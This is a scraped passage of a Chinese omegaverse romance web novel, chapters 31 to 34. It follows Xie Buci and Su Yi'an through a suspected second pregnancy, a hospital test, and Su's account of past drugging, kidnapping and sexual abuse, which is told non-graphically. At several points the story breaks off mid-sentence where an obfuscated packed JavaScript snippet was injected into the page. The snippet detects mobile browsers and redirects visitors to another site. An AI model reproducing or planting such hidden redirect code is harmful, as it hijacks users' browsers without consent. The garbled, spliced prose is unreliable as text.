谢不辞从身后拽住苏以安的手腕,苏以安没挣扎,回过身站在谢不辞面前,也不开口,就面色平静的看着谢不辞唠叨。 “那酒到底有什么好喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他或许现在还做不到成为为别人遮风挡雨的角色,不过就此时此刻而言,只谈把苏以安从这个宴会厅带走,他没有一点压力。 反正他家一直跟钟家不对付,他们家也不是多不起沈家一个关系不好的。 苏以安只在乎他爸,除了这个没有什么能威胁得了他的。 就他俩现在一声不吭的直接离开,连不计后果这个词都谈不上。 两人是从宴会厅的后门离开的,一路上都是沉默,直到司机都给他们送到了小区楼下,都没人开口。 让司机离开以后,谢不辞本想问用不用把雪团接回来陪陪他,偏过头却发现苏以安不知道什么时候已经靠在他肩膀上睡着了。 他没忍心这会就把人喊起来。 车窗外有稀稀疏疏的路灯,忽明忽暗的光线照进来,刚好能让他近距离看清苏以安的容貌。 这么多年过去,褪去高中时期的青涩,反而显得这张脸更具独特的气质。 这是苏以安头一次对他毫无防备,头一次这样依赖他。 这感觉挺奇妙的。 31. 第 31 章 他知道苏以安不可能开口求他带他走。 所以说不想待在那就已经是妥协了。 他看得明白,所以他什么也不问。 晚上这个时间,小区里来来往往的车辆还挺多的,不吵,但是总有晃人眼睛的车灯光。 觉得时间还早,谢不辞把车窗挡板放下来,想让苏以安睡得安稳些。 本来想发个消息告诉他妈今天晚上不去接雪团了,结果刚解开锁屏,就看见有沈伊的消息弹出来。 [哥们这是我订婚宴,你是不是多少沾点缺德了?] [你不是最守圈里规矩不截胡的吗。] [他就去个洗手间的空你都能把人薅走,哥们你也怪有水平的啊。] [走了就走了吧,这边我能应付,我原本是看他不太开心想带他去找点吃的,你记得带他吃晚饭。] 消息不少,几乎是隔几分钟发一条。 从订婚宴上把主角劫走,放到哪说都是不占理,但沈伊通篇都没一点指责的意思,他很尊重苏以安,也无论什么时候,都以爱人的感受为先。 这不是情敌。 因为真就事论事的竞争,谢不辞没有可比性。 其实很早之前,在心甘情愿承担抚养雪团义务的那一小段时间里,谢不辞也不是没想过干脆也用点手段把苏以安留在身边算了。 但他做不出强迫压榨这种事情,也不愿意让他们两个像仇人一样,让雪团在这样的家庭氛围下长大。 他没跟沈伊说什么放心吧之类的废话,因为他在外人眼里本身就不是什么靠谱的人。 字在聊天框里删删减减,最终发出去的只有一句:[我送他回家了,有什么事情你们俩明天再说。] 后面谢不辞还看见了蒋泽给他打的电话,他眼疾手快的在手机铃声响起之前按下了挂断。 紧接着打字发消息问蒋泽要说什么。 蒋泽:[哥们忙完了,你那边怎么样了给我分享分享。] 蒋泽是那种典型的不上战场的军师,喝酒喊他他去,但叫他一起玩他绝对不参与,哪怕显得不合群也不妥协。 而且他八卦敏感度超级高,他出招就没有不好用的时候,唯一一次失手,还是苏以安给沈伊买孤儿院那会。 谢不辞本身不是很清楚具体发生了什么,忽然被这么问,他还真有点不知道该怎么跟人讲。 [我觉得他在跟我闹别扭?最近脾气也不太好,前几天有跟我提过一些莫名其妙的要求,后面我再想找他他就不见我了。] 蒋泽倒是没直接发表评价,反问他订婚宴去了没有,现在见没见到人,都说什么了。 谢不辞回答得也很实诚:[去了,进去没十分钟就看到他了,我看他在洗手间吐得挺难受的就把人带回家了,现在在小区楼下。] 从看见对话框上面那行对方正在输入闪烁了好几次开始,谢不辞就已经意识到问题好像没那么简单了。 蒋泽字打了半天,只问出一句:[具体是怎么个莫名其妙的要求?] 谢不辞仔细回忆了一下。 他公司刚开始忙的时候苏以安说想闻海腥味,大冬天的,这边没有海,他就说等这阵子忙完带他和雪团去海边旅游。 然后苏以安不高兴了好几天,他说什么都不爱理他。 还说什么想吃跟夏天甜度一样还不是打了各种添加剂的西瓜。 谢不辞有让他们家管家去找,但毕竟不应季,再怎么找也不可能是苏以安想要的那个夏天西瓜的味道。 就导致他又不开心,委屈了好几天,给谢不辞一种亏待了儿子又没善待老婆的感觉。 简单总结了一下给蒋泽完整叙述了一遍,于是蒋泽总结得比他还精辟:[就是情绪不稳定,暴躁嗜睡还看起来身体很差的样子,还确定了不是抑郁症对吧?] 谢不辞:[嗯。] 真的确诊了什么,沈伊肯定上赶着嘱咐他,没说那就是没有。 他回了以后蒋泽就半天没再说话,也不知道思考什么去了。 谢不辞没催他,把进宴会厅之前脱下来的外套拿起来披在苏以安身上,随后见手机屏幕亮了一下,也没多想什么,直接解锁点进聊天界面。 但看见蒋泽新发过来那条消息的一瞬间,谢不辞举着手机的手就僵在了半空。 怎么说呢。 就是,可能他这种复杂的情况,看军师消息得提前做好心理准备吧。 蒋泽只言简意赅的发了一个短句子过来:[你怎么保证你家不会出现老二?] 怎么保证?这能怎么保证? 他就是渣男,他不可能提前做什么措施,之前玩过的所有床伴都是靠威逼利诱才没出过事,但苏以安又不太一样…… 应该跟信息素天生契合有点关系吧,反正谢不辞从来没跟谁玩这么毫无节制过,一晚上到底能有多少次根本数不清。 所以蒋泽也不是无端猜测。 谢不辞大脑空白了一下,然后敲在屏幕上的手都有些颤颤巍巍的:[如果真的有的话,我应该说点什么才能让他相信我不是想用孩子来捆绑他?] [好问题。] [你也是成功把我问住了。] 雪团还不到一周岁,这时间短得,就好像人家omega身体都还没完全恢复就又要让人家再生一个一样。 这都不是渣不渣的范畴了,这听起来甚至他自己都觉得自己像个畜生。 [你也别太看得起自己了兄弟,我就随口那么一问,万一是假的呢。] 谢不辞看着蒋泽新发过来的这条消息,有点想笑却又觉得当事人是自己不太该他笑。 别太看得起自己,那也别太看得起自己的运气了吧? 毕竟这个世界总是会在一个极其刁钻的角度用你完全意想不到的方式告诉你,它可以有多抓马。 谢不辞:[那你先说如果是真的我怎么办。] 不是说养不起两个孩子,主要是谢不辞真的不知道怎么做才会是一个合格的伴侣合格的爸爸。 他跟苏以安以前只是互相觉得对方装,他俩没什么深仇大恨,他也做不到真的始乱终弃用这样的方式毁掉一个omega的一生。 这下蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不开心的我都不问,不想说就不说了。” “哦,那你回去吧。” 苏以安拿被子盖住半张脸,还无精打采的朝谢不辞挥了挥手:“晚安。” “不是,你没什么要说的我就不能有啊?” “那我不想听,你嘴里没一句好话。” 虽然但是,苏以安也没冤枉他,他以前确实经常说那满嘴跑火车的东西。 “这次真是正经的。” “用不用我给你点时间做做心理准备?” 可能是没见过谢不辞还有这么磨磨唧唧的时候,也可能是苏以安向来对他没什么耐心,接话语气算不上有多好:“你少废话,说完赶紧滚。” 谢不辞深吸一口气,带着赴死一样的决心,甚至表情都带上了坚毅,他偏过头去没敢看苏以安,随后开口。 “你能不能跟我去趟医院验证一下咱家现在有没有老二?” 32. 第 32 章 空气安静了好几秒。 谢不辞摸不准他到底是什么想法,以至于苏以安没说话的这一小段时间里都坐立难安的。 结果苏以安什么反应都没有,好像谢不辞刚说的都是什么无关紧要的话一样,满不在乎的回了一句知道了就让谢不辞出去。 然后他睡不睡得着不好说,反正谢不辞回了自己家一定失眠。 在第二天天亮之前的这段时间里,手机搜索框里光荣的多出了以下词条: #omega孕早期最典型的症状。 #安抚孕期情绪不稳定的老婆,优秀伴侣都是这样做的! #看高智商男人教科书式平衡二胎家庭之间的奇妙关系。 #如何在众多追求者中脱颖而出,抱得美人归。 …… #让老婆念念不忘的一百种姿势。 等谢不辞意识到搜索框里的东西画风开始逐渐不对劲时,他已经不信邪的点进了那一百种姿势。 因为真的有点好奇是不是真的有一百种,以及,什么绝世大天才能发明一百种。 乱七八糟的帖子看多了,谢不辞甚至怀疑孩子是不是他要生。 什么头晕恶心,过度疲劳,嗜睡,一会厌食一会像个饿死鬼这种症状,他都能在自己身上找出对应时间。 于是谢不辞开始打电话骚扰蒋泽。 一般情况下来讲,连着加了很多天班的社畜,好不容易放了个假,那恨不得回了家就睡死过去,偏偏蒋泽不一样。 电话接通以后,谢不辞在听筒里听见了清晰的摇滚乐声。 “咋的啦?老地方那个酒吧来不来,今天新来了十几个服务生,比没加班之前质量好很多,用不用我把包厢号发你?” “……你是想请我最后一顿酒吗,喝完就上路那种。” 蒋泽没立马接话,找了个安静的地方,还关上了门才重新搭理谢不辞:“真明天就开盒?苏以安怎么说?” “他倒是没什么反应,就只平静的告诉我知道了。” 然后就又是新一轮的沉默。 “那你觉不觉得,你现在需要做的是安排好医院,然后找个医生咨询一下都需要做什么检查,有什么必须注意的。” “而不是大半夜的打电话跟我发疯。” …… 哦,好有道理啊。 谢不辞挂掉电话,躺尸一样望向天花板。 果然人在焦虑的时候,脑子都不会太好使,不然像他这么聪明的人,绝对不可能犯这种低级错误。 第二天一大早,谢不辞连衣服都没特意搭,洗了把脸就直接冲到对门,把苏以安从床上薅起来。 起床的时间,是早上六点半。 苏以安穿着睡衣去洗漱的时候,顶着一脑袋没来得及捋顺的头发,举着牙刷看向在厨房里忙来忙去的谢不辞,颇有怨言的开口:“你上早八的时候有没有起这么早过,就至于这么火烧眉毛的?让你不到七点就像催命的一样。” “放心吧今天肯定极速版。” 在进苏以安家门之前,谢不辞已经在各个环节都找好了人,什么检查都是人到了立马就可以做,做完当天就出结果。 并且为了防止他俩在医院就打起来,谢不辞还专门嘱咐找好的医生到时候不要胡言乱语的瞎科普。 谢不辞把刚烤好的面包片抹上果酱打包好,因为记得要验血,便没直接递给苏以安。 等都换好衣服收拾完,到医院正好是人最多的时候。 八点多的医院,挂号收费那边排了好长好长的队。 因为人多,一人一句话就显得特别嘈杂。 苏以安一直都安安静静的,拿着提前安排好的挂号条和检查单坐在医院走廊的椅子上,等着检查室的医生喊名字或者叫号。 “你怎么一点反应都没有?” 谢不辞没经历过这样的事,但再迟钝都能看得出来苏以安的反应有些太偏激了。 他宁愿苏以安掐着他脖子说敢玩出个孩子就弄死他,或者扇他一巴掌骂他一顿把孩子打掉,然后跟他要一大笔钱。 可偏偏什么都没有。 越是这样谢不辞越觉得良心不安。 “以前给我爸看病的时候就是这样的,我坐在他病房门外的椅子上,拿着厚厚的一摞我根本看不懂的检查结果,脑袋空空的看着走廊里来来往往的人。” “那会没人给走特权,我也没有钱给他看病。” “我不知道我要做什么才能留住他。” 所以苏以安总对医院有种难以言喻的复杂情感,说不上怕不怕,更多的是抗拒和无奈。 这会谢不辞忽然有点后悔专门给安排人了,这种有一搭没一搭聊着的氛围挺好的,时间过得慢一点也可以,队伍再长一点也没关系。 “那你……” “我能做的都做过了,我一直觉得没什么可后悔的。” “直到生雪团那会,我自己躺在手术台上,我看着那超级长的麻醉针扎进我的身体里。” 苏以安停顿了一下,低下头看向手中被他卷的恢复不了原样的白纸,深吸一口气平复情绪才继续开口。 “疼不疼早就没印象了,但是我怕,怕到整个人都在发抖,怕到就算神志不清,手也是紧握成拳头的,我能感受到手术刀划开我的皮肤,我控制不了的眼泪顺着眼角流到耳朵上。” “然后我才意识到,我好像有点太自私了。” “因为我没问我爸到底愿不愿意用这么痛苦的方式吊着一口气,也不知道他看着我用上不得台面的方式给他挣看病钱他会不会难过。” 谢不辞不知道该说什么。 之前一直觉得苏以安从大腿纹到小腹和侧腰的那个纹身漂亮,带着一种形容不出的蛊惑感,却从没意识到那是苏以安自暴自弃遮掩自己不愿意面对的伤疤的方式。 有这样过往的人,很难走出困住自己的圈子。 就导致苏以安不愿意承担责任,还对身边所有人都带着极重的防备心。 说是怨谢不辞,其实更多的是想找个情绪发泄口,也许在他的思维里,如果没有他,他爸爸就不用一直住在阴暗潮湿的地下室,不用为了一块钱一个的馒头被人看不起。 “你现在怕吗。” “我也不知道。” 谢不辞握住苏以安的手。 那双手的皮肤很细腻,一点也不像干过重活的样子,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108252|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指尖是冰凉的,凉到谢不辞把整只手握住,温度也很难传递过去。 后面检查,再排队等结果的时间过得都很快。 拿到检查结果以后,苏以安看都没看一眼就直接塞到了谢不辞手里。 虽然大概是个什么结果他们两人心里都有数,但面对最坏结果马上要被证实时,还是紧张得心跳加速。 在坐上回家的车之前,谢不辞先打开检查结果看了一眼。 纸上诊断结果那一行用印刷体清清楚楚的写着,孕酮远高于正常值。 还有信息素不稳定和营养不良之类的一些问题。 回家路上坐在车里那二十分钟里,谢不辞都不太敢面对苏以安。 因为错犯得真的有点大,谢不辞跟个小学生一样一路低着头跟在苏以安后面,跟着进了1501的家门, 进门以后苏以安先脱掉了厚重的外套,然后在谢不辞的注视下,接过那张被谢不辞来回来去折得都快断了的检查结果。 他象征性的扫了一眼,然后把有字的那一面举到谢不辞面前:“你给我一个解释。” 看谢不辞的反应,就已经预料到会是什么局面了,但他偏偏不死心,抱着最后一丝希望把那张纸留到进了家门再打开。 只可惜知道得早或晚,都不会改变最终结果。 “我活着就这么碍你眼吗谢不辞?” “世界上有那么多人你为什么偏偏只想睡我,我跟你有什么深仇大恨,我已经计划好要走了,偏偏我活着你都不愿意了?” 哪怕到了现在,苏以安说话也都是平静的。 但发红的眼眶和不太平稳的声线还是出卖了他。 “对不起,我……” 谢不辞还能说什么,他没什么可辩解的,连他自己都觉得自己恶劣到极致。 啪—— 一声清脆的巴掌响盖过了现场所有声音。 苏以安这一下几乎用尽了全身力气,打到谢不辞踉跄了两步才站稳,耳边也响起嗡嗡的耳鸣声。 “我到底哪里招惹你了让你这么恨我?” “高中那会你轻飘飘的一句喜欢,我就要被下药被绑架作为班里同学想跟你家合作的踏板,变成你们的玩物。” “然后再被季文璟他爸□□,被折磨到人不人鬼不鬼的,还要被你们指着鼻子骂。” 苏以安向来不争不抢的,他从不与人吵架,也很少有这样偏激的表达方式。 谢不辞没有反驳,他也能气到眼泪彻底模糊视线。 “最开始就他妈的因你而起,你还敢拿季文璟他爸能睡我你不能睡攀比,你有病啊?!” “没有一次是我愿意的,我也不想用这种烂方式挣钱。” “不光你看不起我,我都看不起我自己,但这不是你跟我上床,捆住我的手脚把我最后一点自尊也践踏掉的理由。” “我就是报复你,我要让你载在雪团身上,带着拖累一辈子束手束脚。” 因你而起,你还拿你兄弟他爸能睡到我你却不能而攀比。 谢不辞愣了好久都说不出话来,他已经查得大差不差了,他差不多都是知道的,可查到,与苏以安控诉,完全不是一个概念。 33. 第 33 章 因为如果苏以安不开这个口,谢不辞永远也不会思考到,他在承受完非人一般的折磨以后,被丢弃在暴雨夜里,没有人管他他要怎么活下来。 季文璟有跟谢不辞专门讲过,他爸发现他爹出轨苏以安的时候,因为下大雨要出门第一次被他拦回来了。 而后第二天季文璟当众质问过苏以安以后,苏以安还大病了一场。 自那以后苏以安才开始变得越来越沉默寡言,也再没给过谢不辞好脸色。 他们这种阶级完全不对等的人,本身就不应该凑在一起。 哪怕是过去了那么多年,哪怕是到现在谢不辞自己进了职场,也依旧想象不到,还能有人因为他随口一句话,就做出依靠下药绑架来奉承他这种事情。 苏以安拿袖子胡乱抹了一把眼泪,背过身去:“回去吧,这样吵架也没什么意义。” 谢不辞抓住苏以安的手腕,从背后将人抱住,苏以安也没挣扎,只是木讷的现在原地。 “你想怎么处理我都尊重你,我会尽我所能的满足你所有像我提出的要求。” 他没再说什么对不起这种苍白无力的话,也很清楚他们都需要时间冷静,便没再过分纠缠,只低声嘱咐:“你相信谁就找谁陪你一会,等你好些有什么想跟我说的,你可以直接给我打电话。” 听见关门声,确定房间里只有自己一个人以后,就像紧绷着的神经忽然断掉,苏以安整个人如同被抽干了力气一般,瘫坐在地上。 房间空间不大,能靠在墙边缓冲一下,所以感觉不到摔得有多疼。 但剧烈的情绪撕扯之下,胸腔内的憋闷感与窒息无异。 苏以安靠在墙边,贪婪的张口呼吸着。 因为缺氧眼前一阵阵发黑,头痛欲裂,他却找不到一丁点发泄口。 谢不辞在的时候他能被气到掉眼泪,这会却一滴眼泪都流不出来,胃里一阵翻涌,干呕了半天,也没吐出什么来。 从昨天晚上到现在他什么都没吃过,干呕的时间长了胃也同样没放过他。 他把身体蜷成一团,想通过这样的方式汲取些温度,只是身体与情绪都完全不受他掌控,无论做什么都无法缓解。 从前各种被刻意忽略的记忆都浮现在眼前,比如之前某个他根本不记得姓什么的老板,把他关在暗无天日的小房间里,让他像条狗一样的被栓在门口,用带着低压电的电线捆着他,以见他痛苦为乐。 比如他爸葬礼结束后,那空空荡荡的灵堂里只有他一个人对着他爸那张已经有些陌生了的,还有头发还会对他笑的黑白照片。 比如他被遗弃在路边的那个暴雨夜,开着远光的货车,在他旁边疾驰而过,光线昏暗,很难注意到他,车轮与他近到甚至轧过了他有些宽大的衬衫。 生存的本能总会让人惧怕死亡,以至于平常被苏以安刻意压下去的情绪,在这一刻反噬得彻底。 不知道过了多长时间,等身体渐渐被冻得麻木僵硬时,疲惫感才后知后觉找上门。 苏以安尝试踉跄着起身,原想找点水喝,但没有现成的,只有冰箱里存着玻璃瓶装的果酒和矿泉水,犹豫了一下只能作罢。 他都已经累得连手都不想抬了,就更别说专门去烧水了。 最近几天将近一半的时间都在睡觉,他也没跟任何人发生矛盾,连带着拒绝了原来那个张老板都只是特别单纯的觉得累,不想维持各种人际关系。 记挂着精神状态不好不能待在全黑的环境里,苏以安特意打开了床头那盏小夜灯。 冬天的天黑得很早,五点多就已经暗沉沉的了,晚上的时间显得格外长。 现在还没到会所里最热闹的时间,包间里只有谢不辞和蒋泽两个人,音乐声与交谈声完全被隔绝在门外,除了把酒放下就走的服务生里面再没进过别人。 空酒瓶子被撤下去一次又一次,才不至于显得谢不辞喝得太狼狈。 “哥,你别干喝了,我要陪不动了。” “正常流程不应该是你一边跟我喝一边唠两句吗?纯酒局啊?” 谢不辞把手中那已经空掉的酒瓶轻轻放在桌子上,也没抬头看蒋泽,喃喃自语似的开口:“我他妈高中那会是傻逼吗?” “我算个什么东西啊就得全世界都围着我转,谈恋爱这种你情我愿的事情我还不允许别人拒绝我。” “我也太把自己当个好东西了。” 从进了这包间开始,谢不辞酒就没停过,最开始是一杯一杯往下灌,后面嫌麻烦直接端着瓶子喝。 他也什么都不开口讲,只让蒋泽陪一杯的时候才有交流。 不是故意不说话,他是真的不知道该怎么跟朋友讲。 来包间之前的那几个小时的时间里,谢不辞把之前所有能联系到的高中同学全都问了个遍。 然后时间线再拼凑一下,谢不辞还发现了点可能苏以安都不太清楚的细节。 当年苏以安被绑架以后,季文璟他爹□□了苏以安,事后拿苏以安做跳板被张老板庇护。 但张老板表面上最会装好人,说着不会强迫苏以安,却在私下买通了医院专门提高了苏以安他爸要用的进口药的价格。 只给苏以安一个人涨价,逼他为了钱低头。 这是谢不辞能查到的,在他查不到的地方一定有更多只有双方当事人知情的事情。 “你这么多年都不知情,也不全是你的错,事情都已经发生了。” “说句不好听的,苏以安从来不提,肯定有觉得已经发生的事情再说什么都晚了的原因在。” 这句话谢不辞没接。 也不知道该说点什么去接。 “行了差不多的得了,你还有儿子得管呢,这大晚上的,你老婆让你给整点东西吃你都起不来。” 酒精上头脑子确有些转不过弯来,谢不辞闻言停下来思考了半天,然后开口反驳:“孩子今天不能带,一身酒气的去抱雪团苏以安会跟我急的。” “……我是让你该回家回家,别跟要喝死在这似的。” 不清楚是不是没喝到位,反正谢不辞记得他是自己打电话喊代驾送他回家的。 回来的时候走廊里安安静静,他有想去敲门看看苏以安怎么样了,但点开手机锁屏,看着那凌晨的时间,最终还是只放轻动作打开了自己家门。 第二天谢不辞是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一边跟谢不辞搭话,一边给装着糖:“安安从小就喜欢我做的糖,他爸爸手头再紧,也从来没在买糖吃这件事情上亏待过他。” “要我说也该是这样的,小omega就是不能亏待,不然让人拿糖都能骗走可怎么是好。” 高中那会谢不辞就是这么想的,他觉得苏以安缺钱,而恰好他最不差的就是钱。 所以他总有种势在必得的迷之自信。 谢不辞拿起桌上的麦芽糖尝了尝。 是甜的,与印象中那种齁甜齁甜的刻板印象还不太一样。 透着一种淳朴的味道,跟他吃习惯了的没什么可比性。 “我给你多装一点,安安会存的,够他吃很久。” “你也别说我老太婆唠叨,安安爸爸就是苦怕了,肯定不会同意他跟你们这种公子哥在一起,之前有个仗着有点家世想追安安的,那可是被他爸爸报警处理掉的。” 谢不辞:…… 这怎么有点指桑骂他的感觉呢? “那第一个追他的是谁啊?” 34. 第 34 章 老太太把打包好的麦芽糖递给谢不辞,然后神神秘秘的凑到他耳边小声开口:“是个姓钟的,你别乱传啊,陈年旧瓜了,你们把日子过好了比什么都重要。” 好好好。 就说这个世界别太抓马了。 这样往上拼该不会是,钟家哪个儿子看上了苏以安,被苏以安他爸报警处理了,钟家觉得面子上过不去,想绝了自己家儿子的念想才强制性的把苏以安户口迁走,再把他当成联姻工具培养吧? 这够命途多舛的啊。 谢不辞带着好大一袋麦芽糖回去,还特意路过自己家别墅把雪团接上。 他觉得蒋泽说的很有道理,在哄老婆这方面,他干不了的活,他儿子都能给包了。 从电梯里出来,谢不辞看见1501门口那原封未动的早饭一点也不意外,他叹了口气,抱着雪团先进了自己家。 然后翻箱倒柜给雪团找了半天衣服,也没选出一身觉得好看的来。 毕竟给小孩选衣服,好看的前提得是不能冻着。 浪费了了不少时间纠结给孩子穿什么,结果拿衣服比划了半天,最终选择了不换。 因为谢不辞觉得,他这个直男审美肯定不如他妈。 谢不辞把装着糖的塑料袋套在雪团脖子上,迎着孩子懵懵懂懂的视线,拿了个塑料膜封着的做成片状棒棒糖形状的塞到孩子手上。 “一会把这个糖给你爸爸。” “知道怎么哄你爸爸开心吗?知道就用你原来那一套,不知道的话……” “那你临场发挥吧,我也不知道。” 雪团低头看了看手里攥一下塑料纸就哗哗作响的糖,又看了一眼谢不辞,把糖朝谢不辞举起来:“爸爸。” “哎我去,真上道。” “能不能把你爸追回来就看你了好儿子!” 想着光吃糖也不管饱,谢不辞还从冰箱里找出三明治加热,把预备好的纯牛奶倒进保温杯里。 等谢不辞把要送过去的东西都准备得差不多了,回过头来一看,雪团在床上自己抓着那流了他一手糖的,黏黏哒哒的塑料纸玩了半天。 注意到他过来,雪团还举起小手给他看:“爸爸,擦擦。” 谢不辞:…… 是听话孩子,闯祸了还知道先发制人让你给擦擦手,但是,麦芽糖这东西,黏牙又拉丝。 尤其是在屋里暖和,糖已经化得差不多了的情况下。 谢不辞给雪团塞了两块卫生纸,结果糖有没有被擦掉不好说,反正纸是全粘手上了。 甚至在谢不辞的注视下,还有糖丝顺着雪团的小肉手滴到衣服上。 手里被完全黏住的卫生纸已经揪都揪不下去了,雪团自己拽了拽那皱皱巴巴的纸团,然后眨巴着大眼睛问谢不辞:“洗洗?” “……洗洗也行。” 谢不辞带着孩子去卫生间,洗手液沐浴露这种东西都尝试过了,泡泡搓出了一大堆,但就是有一层糖怎么都洗不干净。 也不是不努力,那洗手的泡泡都够雪团吹着玩了,还是没清理完全。 “要不我给你带个手套吧,洗不干净就先算了?是不是先去对门看你爸爸更要紧?” 话音落下谢不辞也没管孩子同不同意,直接翻出了一副两只连在一起,可以挂在脖子上的红色手套给雪团戴好。 还顺带给换了身同色系的外套。 这也就是孩子小,不然会走路会说话的小孩站苏以安门口,一边敲门一边喊爸爸,说我给你送吃的,谢不辞就不信苏以安能无动于衷的听着亲儿子站他门口哭。 带着孩子现在对门门前的时候,谢不辞还特意礼貌的敲了敲门。 不出所料的没得到回应。 不过他有门锁密码就省了好多麻烦,谢不辞甚至都不用给苏以安发个消息就能直接进去。 屋里没有任何烟酒气。 对于他们这种有事没事就想来两口的人来说,遇上大事不能抽不能喝,跟要把人难为死也没什么区别。 苏以安从卧室里走出来,雪团立马特别有眼色的从挂在自己面前的塑料袋里拿糖,不过因为带着手套,尝试了好几次都没成功。 “在屋里你给他带手套干什么?” 谢不辞没说话,苏以安就自己过去把手套给雪团扯下来。 然后刚扯下来一只就看见雪团小手上粘满了红色毛线碴。 他沉默两秒,把孩子接过来,给了谢不辞一个眼神。 谢不辞立马就看懂了他想表达什么:孩子留下,你滚。 觉得短时间内苏以安也不会想跟他说话,谢不辞特别识趣的把带过来的东西都放下,自觉把嘱咐的话咽回去,出去还轻手轻脚的关了门。 alpha带孩子就是这样的,有吃有喝饿不着冻不着就行了,还会把这样带孩子翻译成,那不活得好好的吗。 别人不清楚,反正让谢不辞管,干净和优秀都八成是他家孩子不沾边的。 据蒋泽所说,苏以安愿意见雪团,这就不算天炸开局,甚至把雪团这小金手指用好了,追老婆的工作都不会开展得过于困难。 可惜谢不辞是个不开窍的。 就算没少在外面玩,追人那点流程他也还是一窍不通。 最终蒋泽就只能给出,解决不了你俩之间的问题就先解决苏以安那边外在因素的方案。 比如被钟家扣下的户口,比如和沈伊的订婚宴,比如一直没打算放过苏以安的张老板。 元旦假期只剩下了最后一天。 把雪团留在1501以后,谢不辞就乘电梯下楼,自己开车回了趟家。 他妈的耳朵比他灵多了,也许那些他好不容易查出来的陈芝麻烂谷子的破事,他妈比他知道的还要早。 没搭理他就是等着他自己回去认错。 到地方以后,谢不辞把车停进地下车库,然后装作淡定的徒步走回门口,推门进去。 谢夫人第一眼看见他也没什么特别的反应,简单的打个招呼,然后问他:“雪团今天晚上睡哪?” “不知道呢,晚上再商量。” 知道是回来挨骂的,谢不辞连说话都显得拘谨。 “行,那就晚上再说。” “过来吃饭。” 谢不辞跟着走到餐桌前,但桌子上什么都没摆,甚至连杯水都没放。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108254|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拉开椅子坐下,然后看向谢夫人。 然后她从厨房拿出盘子,从冰箱里拿出个馒头放上去,端到谢不辞面前。 “就……没了?” “大早上吃冷馒头?要不给点咸菜呢?” 谢夫人白了他一眼,拉开椅子坐到他旁边:“咱家的咸菜没有低于三位数一斤的,给你个馒头让你吃上就不错了,有人馒头都吃不上,你别那么多要求。” 谢不辞拿起桌子上的馒头揪成一小块一小块的,一言不发的往嘴里塞。 “孕检单,昨天才见过的,不陌生吧?” 他没抬头看他妈刚放在他面前的手机,嗯了一声等着谢夫人接着往下说。 “我本来是想扇你来着,但看见你那肿着的半边脸,我觉得也不用我动手了。” “你说你要把人追回来,我跟你爸都没管,结果你把人追回来的方法就是让他再给你生一个?” “你缺不缺德啊谢不辞?” 知道现在说什么都已经晚了,谢不辞也没为自己辩解,只是机械性的重复着揪一小块馒头,再塞进自己嘴里的动作。 “我告诉你啊,不管他怎么决定这个孩子的去留,你都得把嘴闭严实了,你没资格评头论足。” “还有,他不愿意见你你就少去刷存在感。” 其实谢不辞跟蒋泽一起喝酒的时候也反思过自己,当时苏以安无数次的说过自己各种无脑表白行为给他造成了困扰,但是他都选择性装听不见。 因为他觉得,苏以安所有的烦恼都来源于拒绝了他。 “你要是再让我听说因为你害得人家怎么样,你就卷铺盖从我们家搬出去。” “行了不愿意吃放下,找点正事干。” 谢不辞听话的放下馒头,拿起外套往门外走。 不怪他妈轰他,剩下的事情确实很多,沈伊那边具体怎么样他还没来得及问。 都不是小门小户的,让人家面子上挂不住肯定不好处理。 准备回自己小区之前,谢不辞刚上车扣好安全带,就接到了沈伊的电话:“你现在在哪,你跟小安在一块吗?” 谢不辞一愣,没搞清楚他到底要干什么:“没有啊。” “你不会把他自己扔在家了吧?” “嗯……还有雪团。” 趁着沈伊沉默的间隙,谢不辞驱车驶离了别墅区。 “算了,也不一定有事,你赶紧回去吧,别让他跟雪团单独在家。” 别的不说,就单从字面意义上理解,不像是没事的。 路程上没花费多长时间,电梯门打开之前,谢不辞还在纠结要不要敲门看看苏以安带着孩子在家里干什么。 他很清楚苏以安不想见他,可不过去看一眼也实在放心不下。 但进了走廊他就发现了,那点担心完全是多余的。 因为苏以安家门根本就没关,里面还隐隐约约传来了争吵声和雪团的哭声。 